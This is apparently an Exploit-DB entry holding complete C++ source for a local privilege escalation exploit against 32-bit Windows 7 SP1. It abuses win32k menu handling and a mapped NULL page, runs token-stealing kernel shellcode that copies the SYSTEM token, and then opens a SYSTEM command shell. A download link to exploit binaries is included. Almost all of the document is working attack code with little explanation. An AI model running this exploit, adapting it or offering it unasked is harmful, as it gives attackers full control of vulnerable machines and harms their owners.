Microsoft Windows 7 build 7601 (x86) - Local Privilege Escalation

#include <Windows.h>
#include <iostream>

/*
EDB Note: Download ~ https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/47176.zip
*/

/* PREPROCESSOR DEFINITIONS */
#define MN_SELECTITEM 0x1E5
#define MN_SELECTFIRSTVALIDITEM 0x1E7
#define MN_OPENHIERARCHY 0x01E3
#define MN_CANCELMENUS 0x1E6
#define MN_BUTTONDOWN 0x1ed
#define WM_EX_TRIGGER 0x6789
#define NtCurrentProcess() (HANDLE)-1
#define NtCurrentThread()  (HANDLE)-1
#define NT_SUCCESS(Status) (((NTSTATUS)(Status)) >= 0)
#define TYPE_WINDOW 1

/* GLOBAL VARIABLES */
static BOOL		hWindowHuntDestroy = FALSE;
static BOOL		bEnterEvent = FALSE;
static BOOL		success = FALSE;
static HMENU	hMenuList[3] = { 0 };
static HWND		hWindowMain = NULL;
static HWND		hWindowHunt = NULL;
static HWND		hwndMenuList[3] = { 0 };
static PVOID	MemAddr = (PVOID)1;
static SIZE_T	MemSize = 0x1000;
static DWORD	iCount = 0;
static DWORD	release = 0;


/* Structure definition of win32k!tagWND returned by xxHMValidateHandle */
typedef struct _HEAD {
	HANDLE  h;
	DWORD   cLockObj;
} HEAD, *PHEAD;

typedef struct _THROBJHEAD {
	HEAD    head;
	PVOID   pti;
} THROBJHEAD, *PTHROBJHEAD;

typedef struct _DESKHEAD {
	PVOID   rpdesk;
	PBYTE   pSelf;
} DESKHEAD, *PDESKHEAD;

typedef struct _THRDESKHEAD {
	THROBJHEAD  thread;
	DESKHEAD    deskhead;
} THRDESKHEAD, *PTHRDESKHEAD;

/* Definition of xxHMValidateHandle */
static PVOID(__fastcall *pfnHMValidateHandle)(HANDLE, BYTE) = NULL;

/* Defintion of NtallocateVirtualMemory */
typedef
NTSTATUS
(WINAPI *pfNtAllocateVirtualMemory) (
	HANDLE       ProcessHandle,
	PVOID       *BaseAddress,
	ULONG_PTR    ZeroBits,
	PSIZE_T      RegionSize,
	ULONG        AllocationType,
	ULONG        Protect
	);
pfNtAllocateVirtualMemory NtAllocateVirtualMemory = NULL;


static
VOID
xxGetHMValidateHandle(VOID)
{
	HMODULE hModule = LoadLibraryA("USER32.DLL");
	PBYTE pfnIsMenu = (PBYTE)GetProcAddress(hModule, "IsMenu");
	PBYTE Address = NULL;
	for (INT i = 0; i < 0x30; i++)
	{
		if (*(WORD *)(i + pfnIsMenu) != 0x02B2)
		{
			continue;
		}
		i += 2;
		if (*(BYTE *)(i + pfnIsMenu) != 0xE8)
		{
			continue;
		}
		Address = *(DWORD *)(i + pfnIsMenu + 1) + pfnIsMenu;
		Address = Address + i + 5;
		pfnHMValidateHandle = (PVOID(__fastcall *)(HANDLE, BYTE))Address;
		break;
	}
}

static
PVOID
xxHMValidateHandleEx(HWND hwnd)
{
	return pfnHMValidateHandle((HANDLE)hwnd, TYPE_WINDOW);
}

static
PVOID
xxHMValidateHandle(HWND hwnd)
{
	PVOID RetAddr = NULL;
	if (!pfnHMValidateHandle)
	{
		xxGetHMValidateHandle();
	}
	if (pfnHMValidateHandle)
	{
		RetAddr = xxHMValidateHandleEx(hwnd);
	}
	return RetAddr;
}

static
BOOL
xxRegisterWindowClassW(LPCWSTR lpszClassName, INT cbWndExtra, WNDPROC pfnProc = DefWindowProcW)
{
	WNDCLASSEXW wc = { 0 };
	wc.cbSize = sizeof(WNDCLASSEXW);
	wc.lpfnWndProc = pfnProc;
	wc.cbWndExtra = cbWndExtra;
	wc.hInstance = GetModuleHandleA(NULL);
	wc.lpszMenuName = NULL;
	wc.lpszClassName = lpszClassName;
	return RegisterClassExW(&wc);
}

static
HWND
xxCreateWindowExW(LPCWSTR lpszClassName, DWORD dwExStyle, DWORD dwStyle, HINSTANCE hInstance = NULL, HWND hwndParent = NULL)
{
	return CreateWindowExW(dwExStyle,
		lpszClassName,
		NULL,
		dwStyle,
		0,
		0,
		1,
		1,
		hwndParent,
		NULL,
		hInstance,
		NULL);
}

static
LRESULT
CALLBACK
xxWindowHookProc(INT code, WPARAM wParam, LPARAM lParam)
{
	tagCWPSTRUCT *cwp = (tagCWPSTRUCT *)lParam;

	if (cwp->message == WM_NCCREATE && bEnterEvent && hwndMenuList[release] && !hwndMenuList[release+1])
	{
		printf("Sending the MN_CANCELMENUS message\n");
		SendMessage(hwndMenuList[release], MN_CANCELMENUS, 0, 0);
		bEnterEvent = FALSE;
	}
	return CallNextHookEx(0, code, wParam, lParam);
}


static
VOID
CALLBACK
xxWindowEventProc(
	HWINEVENTHOOK hWinEventHook,
	DWORD         event,
	HWND          hwnd,
	LONG          idObject,
	LONG          idChild,
	DWORD         idEventThread,
	DWORD         dwmsEventTime
)
{
	UNREFERENCED_PARAMETER(hWinEventHook);
	UNREFERENCED_PARAMETER(event);
	UNREFERENCED_PARAMETER(idObject);
	UNREFERENCED_PARAMETER(idChild);
	UNREFERENCED_PARAMETER(idEventThread);
	UNREFERENCED_PARAMETER(dwmsEventTime);

	bEnterEvent = TRUE;
	if (iCount < ARRAYSIZE(hwndMenuList))
	{
		hwndMenuList[iCount] = hwnd;
		iCount++;
	}
	SendMessageW(hwnd, MN_SELECTITEM, 0, 0);
	SendMessageW(hwnd, MN_SELECTFIRSTVALIDITEM, 0, 0);
	PostMessageW(hwnd, MN_OPENHIERARCHY, 0, 0);
}

__declspec(noinline) int Shellcode()
{
	__asm {
		xor eax, eax // Set EAX to 0.
		mov eax, DWORD PTR fs : [eax + 0x124] // Get nt!_KPCR.PcrbData.
											 // _KTHREAD is located at FS:[0x124]
		mov eax, [eax + 0x50] // Get nt!_KTHREAD.ApcState.Process
		mov ecx, eax // Copy current process _EPROCESS structure
		mov edx, 0x4 // Windows 7 SP1 SYSTEM process PID = 0x4
		SearchSystemPID:
			mov eax, [eax + 0B8h] // Get nt!_EPROCESS.ActiveProcessLinks.Flink
			sub eax, 0B8h
			cmp[eax + 0B4h], edx // Get nt!_EPROCESS.UniqueProcessId
			jne SearchSystemPID
			mov edx, [eax + 0xF8] // Get SYSTEM process nt!_EPROCESS.Token
			mov[ecx + 0xF8], edx // Assign SYSTEM process token.
	}
}

static
LRESULT
WINAPI
xxMainWindowProc(
	_In_ HWND   hwnd,
	_In_ UINT   msg,
	_In_ WPARAM wParam,
	_In_ LPARAM lParam
)
{
	if (msg == 0x1234)
	{
		WORD um = 0;
		__asm
		{
			// Grab the value of the CS register and
			// save it into the variable UM.
			//int 3
			mov ax, cs
			mov um, ax
		}
		// If UM is 0x1B, this function is executing in usermode
		// code and something went wrong. Therefore output a message that
		// the exploit didn't succeed and bail.
		if (um == 0x1b)
		{
			// USER MODE
			printf("[!] Exploit didn't succeed, entered sprayCallback with user mode privileges.\r\n");
			ExitProcess(-1); // Bail as if this code is hit either the target isn't 
							 // vulnerable or something is wrong with the exploit.
		}
		else
		{
			success = TRUE; // Set the success flag to indicate the sprayCallback()
							// window procedure is running as SYSTEM.
			Shellcode(); // Call the Shellcode() function to perform the token stealing and
						 // to remove the Job object on the Chrome renderer process.
		}
	}
	return DefWindowProcW(hwnd, msg, wParam, lParam);
}

int main()
{
	/* Creating the menu */
	for (int i = 0; i < 3; i++)
		hMenuList[i] = CreateMenu();

	/* Appending the menus along with the item */
	for (int i = 0; i < 3; i++)
	{
		AppendMenuA(hMenuList[i], MF_POPUP | MF_MOUSESELECT, (UINT_PTR)hMenuList[i + 1], "item");
	}
	AppendMenuA(hMenuList[2], MF_POPUP | MF_MOUSESELECT, (UINT_PTR)0, "item");

	/* Creating a main window class */
	xxRegisterWindowClassW(L"WNDCLASSMAIN", 0x000, DefWindowProc);
	hWindowMain = xxCreateWindowExW(L"WNDCLASSMAIN",
		WS_EX_LAYERED | WS_EX_TOOLWINDOW | WS_EX_TOPMOST,
		WS_VISIBLE,
		GetModuleHandleA(NULL));
	printf("Handle of the mainWindow : 0x%08X\n", (unsigned int)hWindowMain);
	ShowWindow(hWindowMain, SW_SHOWNOACTIVATE);

	/* Creating the hunt window class */
	xxRegisterWindowClassW(L"WNDCLASSHUNT", 0x000, xxMainWindowProc);
	hWindowHunt = xxCreateWindowExW(L"WNDCLASSHUNT",
		WS_EX_LEFT,
		WS_OVERLAPPEDWINDOW,
		GetModuleHandleA(NULL));
	printf("Handle of the huntWindow : 0x%08X\n", (unsigned int)hWindowHunt);
	
	/* Hooking the WH_CALLWNDPROC function */
	SetWindowsHookExW(WH_CALLWNDPROC, xxWindowHookProc, GetModuleHandleA(NULL), GetCurrentThreadId());

	/* Hooking the trackpopupmenuEx WINAPI call */
	HWINEVENTHOOK hEventHook = SetWinEventHook(EVENT_SYSTEM_MENUPOPUPSTART, EVENT_SYSTEM_MENUPOPUPSTART, GetModuleHandleA(NULL), xxWindowEventProc,
		GetCurrentProcessId(), GetCurrentThreadId(), 0);

	/* Setting the root popup menu to null */
	printf("Setting the root popup menu to null\n");
	release = 0;
	TrackPopupMenuEx(hMenuList[0], 0, 0, 0, hWindowMain, NULL);

	/* Allocating the memory at NULL page */
	*(FARPROC *)&NtAllocateVirtualMemory = GetProcAddress(GetModuleHandleW(L"ntdll"), "NtAllocateVirtualMemory");
	if (NtAllocateVirtualMemory == NULL)
		return 1;

	if (!NT_SUCCESS(NtAllocateVirtualMemory(NtCurrentProcess(),
		&MemAddr,
		0,
		&MemSize,
		MEM_COMMIT | MEM_RESERVE,
		PAGE_READWRITE)) || MemAddr != NULL)
	{
		std::cout << "[-]Memory alloc failed!" << std::endl;
		return 1;
	}
	ZeroMemory(MemAddr, MemSize);

	/* Getting the tagWND of the hWindowHunt */
	PTHRDESKHEAD head = (PTHRDESKHEAD)xxHMValidateHandle(hWindowHunt);
	printf("Address of the win32k!tagWND of hWindowHunt : 0x%08X\n", (unsigned int)head->deskhead.pSelf);

	/* Creating a fake POPUPMENU structure */
	DWORD dwPopupFake[0x100] = { 0 };
	dwPopupFake[0x0] = (DWORD)0x1; //->flags
	dwPopupFake[0x1] = (DWORD)0x1; //->spwndNotify
	dwPopupFake[0x2] = (DWORD)0x1; //->spwndPopupMenu
	dwPopupFake[0x3] = (DWORD)0x1; //->spwndNextPopup
	dwPopupFake[0x4] = (DWORD)0x1; //->spwndPrevPopup
	dwPopupFake[0x5] = (DWORD)0x1; //->spmenu
	dwPopupFake[0x6] = (DWORD)0x1; //->spmenuAlternate
	dwPopupFake[0x7] = (ULONG)head->deskhead.pSelf + 0x12;  //->spwndActivePopup
	dwPopupFake[0x8] = (DWORD)0x1;  //->ppopupmenuRoot
	dwPopupFake[0x9] = (DWORD)0x1; //->ppmDelayedFree
	dwPopupFake[0xA] = (DWORD)0x1;  //->posSelectedItem
	dwPopupFake[0xB] = (DWORD)0x1; //->posDropped
	dwPopupFake[0xC] = (DWORD)0;

	/* Copying it to the NULL page */
	RtlCopyMemory(MemAddr, dwPopupFake, 0x1000);

	/* Allowing to access the NULL page mapped values */
	release = 1;
	hwndMenuList[2] = NULL;
	TrackPopupMenuEx(hMenuList[1], 0, 0, 0, hWindowMain, NULL);
	
	/* Freeing the allocated NULL memory */
	VirtualFree(MemAddr, 0x1000, 0);

	SendMessageW(hWindowHunt, 0x1234, (WPARAM)hwndMenuList[0], 0x11);

	if (success)
	{
		STARTUPINFO si = { sizeof(si) };
		PROCESS_INFORMATION pi = { 0 };
		si.dwFlags = STARTF_USESHOWWINDOW;
		si.wShowWindow = SW_SHOW;
		printf("Getting the shell now...\n");
		BOOL bRet = CreateProcessA(NULL, (LPSTR)"cmd.exe", NULL, NULL, FALSE, CREATE_NEW_CONSOLE, NULL, NULL, &si, &pi);
		if (bRet)
		{
			CloseHandle(pi.hProcess);
			CloseHandle(pi.hThread);
		}
	}

	DestroyWindow(hWindowMain);

	MSG msg = { 0 };
	while (GetMessageW(&msg, NULL, 0, 0))
	{
		TranslateMessage(&msg);
		DispatchMessageW(&msg);
	}
	return 0;
}